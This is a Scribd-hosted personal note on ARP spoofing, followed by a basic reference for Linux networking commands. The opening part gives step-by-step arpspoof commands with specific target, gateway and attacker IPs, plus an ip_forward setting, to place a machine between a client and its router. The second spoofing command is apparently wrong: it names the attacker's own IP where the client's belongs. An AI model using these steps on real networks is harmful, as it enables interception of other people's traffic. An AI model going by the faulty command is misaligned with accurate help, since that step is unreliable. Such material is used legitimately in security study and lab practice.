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ARP Spoofing

The document provides instructions for network configuration and manipulation using various terminal commands such as `ifconfig`, `iwconfig`, and `arp`. It details the process for ARP spoofing between a client and gateway, including specific IP addresses and commands to execute. Additionally, it outlines the purpose and basic usage of several networking commands to manage interfaces and connectivity.

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iamkarue
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5 views3 pages

ARP Spoofing

The document provides instructions for network configuration and manipulation using various terminal commands such as `ifconfig`, `iwconfig`, and `arp`. It details the process for ARP spoofing between a client and gateway, including specific IP addresses and commands to execute. Additionally, it outlines the purpose and basic usage of several networking commands to manage interfaces and connectivity.

Uploaded by

iamkarue
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
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shows client you're the gateway and show gateway you're the client

ip config: Get Ip Adress as well default gateway and target IP

Use terminal cmd iwconfig as well as ip add


ip add will help you to get ip address

netdiscover - displays ip address as well as mac address

my IP address is 192.168.172.233
router/default gateway ip is - 192.168.172.55
target machine ip - 192.168.172.22

run this first: arpspoof -i wlan0 -t 192.168.172.22 192.168.172.55


run this second on a separate terminal(peferably): arpspoof -i wlan0 -t
192.168.172.55 192.168.172.233

run the first time with target ip address first then default gateway(router)
then run it a second time with gateway as target and your Kali machine as second ip

The above two steps lead to a direct denial of service unless you allow forwarding
of ip packets using the command echo 1 > /proc/sys/net/ipv4/ip_forward with a value
of 1 if you want to disable forwarding of pkts then use a value of 0

wfite command

Other Commands:
1. `ifconfig`
Purpose: `ifconfig` (interface configuration) is used to configure or display
network interface settings.

Basic Usage:
```bash
ifconfig
```
- Displays all active network interfaces and their IP addresses, MAC addresses, and
other info.

Common Options:
- `ifconfig [interface] up`: Activates the specified network interface.
- `ifconfig [interface] down`: Deactivates the specified network interface.
- `ifconfig [interface] [IP] netmask [netmask]`: Assigns an IP address and netmask
to the specified interface.

---

2. `iwconfig`
**Purpose**: `iwconfig` is used to configure wireless network interfaces and
display information about Wi-Fi connections.

Basic Usage:
```bash
iwconfig
```
- Shows information about wireless interfaces, including SSID, frequency, signal
strength, and mode (Managed, Monitor, etc.).

Common Options:
- `iwconfig [interface] essid [network_name]`: Connects to a specific wireless
network.
- `iwconfig [interface] mode monitor`: Puts the Wi-Fi interface into monitor mode
for packet capturing.

3. `ping`
Purpose: `ping` is used to test connectivity to a specific IP address or domain by
sending ICMP packets.

Basic Usage:
```bash
ping [IP/domain]
```
- Sends packets to the specified IP or domain and waits for responses, which helps
measure response time and packet loss.

Common Options**:
- `ping -c [count] [IP/domain]`: Sends a specified number of packets instead of
pinging indefinitely.
- `ping -i [interval] [IP/domain]`: Sets the interval (in seconds) between sending
each packet.

---

4. `arp`
**Purpose**: `arp` displays and manipulates the ARP (Address Resolution Protocol)
table, which maps IP addresses to MAC addresses on the local network.

Basic Usage:
```bash
arp -a
```
- Shows the ARP table, listing IP addresses and their corresponding MAC addresses.

Common Options:
- `arp -d [IP]`: Deletes an entry from the ARP table.
- `arp -s [IP] [MAC]`: Manually adds a static entry to the ARP table, mapping an IP
address to a MAC address.

---

5. `netstat`
**Purpose**: `netstat` (network statistics) is used to display active network
connections, listening ports, routing tables, and other network interface
statistics.

Basic Usage:
```bash
netstat
```
- Displays active connections.

Common Options:
- `netstat -tuln`: Shows all listening TCP and UDP ports.
- `netstat -r`: Displays the routing table.
- `netstat -i`: Shows statistics for all network interfaces.
- `netstat -p`: Shows the PID and program name for each connection.

---
6. `route`
Purpose: `route` displays or manipulates the system's IP routing table, which
directs network traffic to the appropriate interface.

Basic Usage:
```bash
route
```
- Displays the current routing table.

Common Options:
- `route add default gw [IP]`: Sets the default gateway to a specific IP.
- `route add -net [network IP] netmask [netmask] gw [gateway IP]`: Adds a route to
a specific network through a designated gateway.
- `route del default gw [IP]`: Deletes the default gateway.

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